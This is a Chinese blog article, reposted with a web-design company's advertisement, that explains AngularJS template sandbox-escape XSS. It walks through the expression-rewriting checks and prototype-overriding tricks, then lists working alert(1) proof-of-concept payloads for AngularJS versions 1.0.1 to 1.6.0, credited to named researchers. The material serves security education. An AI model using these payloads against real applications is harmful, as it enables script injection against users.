这篇文章主要介绍了AngularJs中用户输入动态模板XSS攻击的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。
创新互联公司公司2013年成立,是专业互联网技术服务公司,拥有项目成都网站建设、成都网站设计网站策划,项目实施与项目整合能力。我们以让每一个梦想脱颖而出为使命,1280元常德做网站,已为上家服务,为常德各地企业和个人服务,联系电话:18982081108
概述
XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。
前情提要
angularJs通过“{{}}”来作为输出的标志,而对于双括号里面的内容angularJs会计计算并输出结果,我们可以在里面输入JS代码,并且一些语句还能得到执行,这使得我们的XSS有了可能,虽然不能直接写函数表达式,但这并难不住我们的白帽。
沙箱检验
angularJs会对表达式进行重写,并过滤计算输出,比如我们输入
{{1 + 1}}
在JS中会被转换成
"use strict"; var fn = function(s, l, a, i) { return plus(1, 1); }; return fn;
return fn;这里的返回会被angualrJs执行,angularJs改写这个方法后转换是这样的
"use strict"; var fn = function(s, l, a, i) { var v0, v1, v2, v3, v4 = l && ('constructor' in l), v5; if (!(v4)) { if (s) { v3 = s.constructor; } } else { v3 = l.constructor; } ensureSafeObject(v3, text); if (v3 != null) { v2 = ensureSafeObject(v3.constructor, text); } else { v2 = undefined; } if (v2 != null) { ensureSafeFunction(v2, text); v5 = 'alert\u00281\u0029'; ensureSafeObject(v3, text); v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029', text)), text); } else { v1 = undefined; } if (v1 != null) { ensureSafeFunction(v1, text); v0 = ensureSafeObject(v1(), text); } else { v0 = undefined; } return v0; }; return fn;
angularJs会检查每一个输入的参数,ensureSafeObject方法会检验出函数的构造方法,窗口对象,对象,或者对象的构造方法,任意的其中一项被检查出来,表达式都不会执行.angularJs还有ensureSafeMemeberName和ensureSafeFunction来过滤掉方法原型链方法和检查这个指向。
如何逃逸
怎么样能逃过模板的过滤呢,可以让我们输入的模板被角执行,因为angularJs不支持函数输入,我们不可以直接覆盖本地的JS函数。但在字符串对象中找到了漏洞,fromCharCode,则charCode, charAt,由于没有重写这些方法,通过改变本地的js函数,我可以在angularJs调用这些方法的时候为自己开一个后门,将我改写的来覆盖原来的函数。
'a'.constructor.fromCharCode=[].join; 'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
formCharCode方法执行的时候内部的this指向的是String对象,通过上面的可指执行语句,我们可以对fromCharCode 函数进行覆盖,当在本页面内执行时,比如:
onload=function(){ document.write(String.fromCharCode(97));//会弹出 /Backdoored/ }
还可以这样
'a'.constructor.prototype.charCodeAt=[].concat
当angularJs调用charCodeAt函数时,我的代码就被执行到angular源码去了,比如说在这段里面有encodeEntities 方法用来对属性和名称做一个过滤然后输出,
if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) { out(' '); out(key); out('="'); out(encodeEntities(value));//找的就是encodeEntities out('"'); }
具体的encodeEntities代码如下:
function encodeEntities(value) { return value. replace(/&/g, '&'). replace(SURROGATE_PAIR_REGEXP, function(value) { var hi = value.charCodeAt(0); var low = value.charCodeAt(1); return '' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';'; }). replace(NON_ALPHANUMERIC_REGEXP, function(value) { return '' + value.charCodeAt(0) + ';';//这里发生了不好事情,我改写了这个方法,可以植入一些恶意代码,并且得到返回输出 }). replace(/</g, '<'). replace(/>/g, '>'); }
具体执行
//这是输入代码 {{ 'a'.constructor.prototype.charAt=[].join; $eval('x=""')+'' }} //这是被覆盖影响的代码 "use strict"; var fn = function(s, l, a, i) { var v5, v6 = l && ('x\u003d\u0022\u0022' in l);//被影响的 if (!(v6)) { if (s) { v5 = s.x = "";//被影响的 } } else { v5 = l.x = "";//被影响的 } return v5; }; fn.assign = function(s, v, l) { var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);//被影响的 v3 = v4 ? l : s; if (!(v4)) { if (s) { v2 = s.x = "";//被影响的 } } else { v2 = l.x = "";//被影响的 } if (v3 != null) { v1 = v; ensureSafeObject(v3.x = "", text);//被影响的 v0 = v3.x = "" = v1;//被影响的 } return v0; }; return fn;
{{ 'a'.constructor.prototype.charAt=[].join; $eval('x=alert(1)')+'' //注入了alert(1) }} "use strict"; var fn = function(s, l, a, i) { var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l); if (!(v6)) { if (s) { v5 = s.x = alert(1); } } else { v5 = l.x = alert(1); } return v5; }; fn.assign = function(s, v, l) { var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l); v3 = v4 ? l : s; if (!(v4)) { if (s) { v2 = s.x = alert(1); } } else { v2 = l.x = alert(1); } if (v3 != null) { v1 = v; ensureSafeObject(v3.x = alert(1), text); v0 = v3.x = alert(1) = v1; } return v0; }; return fn;
下面附上一些代码,可以直接结合angularJs验证
不同版本的实现代码以及发现者:
1.0.1 - 1.1.5 Mario Heiderich (Cure53)
{{constructor.constructor('alert(1)')()}}
1.2.0 - 1.2.1 Jan Horn (Google)
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
1.2.2 - 1.2.5 Gareth Heyes (PortSwigger)
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
1.2.6 - 1.2.18 Jan Horn (Google)
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
1.2.19 - 1.2.23 Mathias Karlsson
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
1.2.24 - 1.2.29 Gareth Heyes (PortSwigger)
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
1.3.0 Gábor Molnár (Google)
{{!ready && (ready = true) && ( !call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(1);' )) );}}
1.3.1 - 1.3.2 Gareth Heyes (PortSwigger)
{{ {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 'a'.constructor.prototype.charAt=''.valueOf; $eval('x=alert(1)//'); }}
1.3.3 - 1.3.18 Gareth Heyes (PortSwigger)
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 'a'.constructor.prototype.charAt=[].join; $eval('x=alert(1)//'); }}
1.3.19 Gareth Heyes (PortSwigger)
{{ 'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; $eval('x=alert(1)//'); }}
1.3.20 Gareth Heyes (PortSwigger)
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
1.4.0 - 1.4.9 Gareth Heyes (PortSwigger)
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
1.5.0 - 1.5.8 Ian Hickey
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
1.5.9 - 1.5.11 Jan Horn (Google)
{{ c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.$apply=$apply;c.$eval=b;op=$root.$$phase; $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=od; B=C(b,c,b);$evalAsync(" astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,alert(1)))+'; astNode.argument={type:'Identifier',name:'foo'}; "); m1=B($$asyncQueue.pop().expression,null,$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; $eval('a(b.c)');[].push.apply=a; }}
= 1.6.0 Mario Heiderich(Cure53)
{{constructor.constructor('alert(1)')()}}
感谢你能够认真阅读完这篇文章,希望小编分享的“AngularJs中用户输入动态模板XSS攻击的示例分析”这篇文章对大家有帮助,同时也希望大家多多支持创新互联,关注创新互联行业资讯频道,更多相关知识等着你来学习!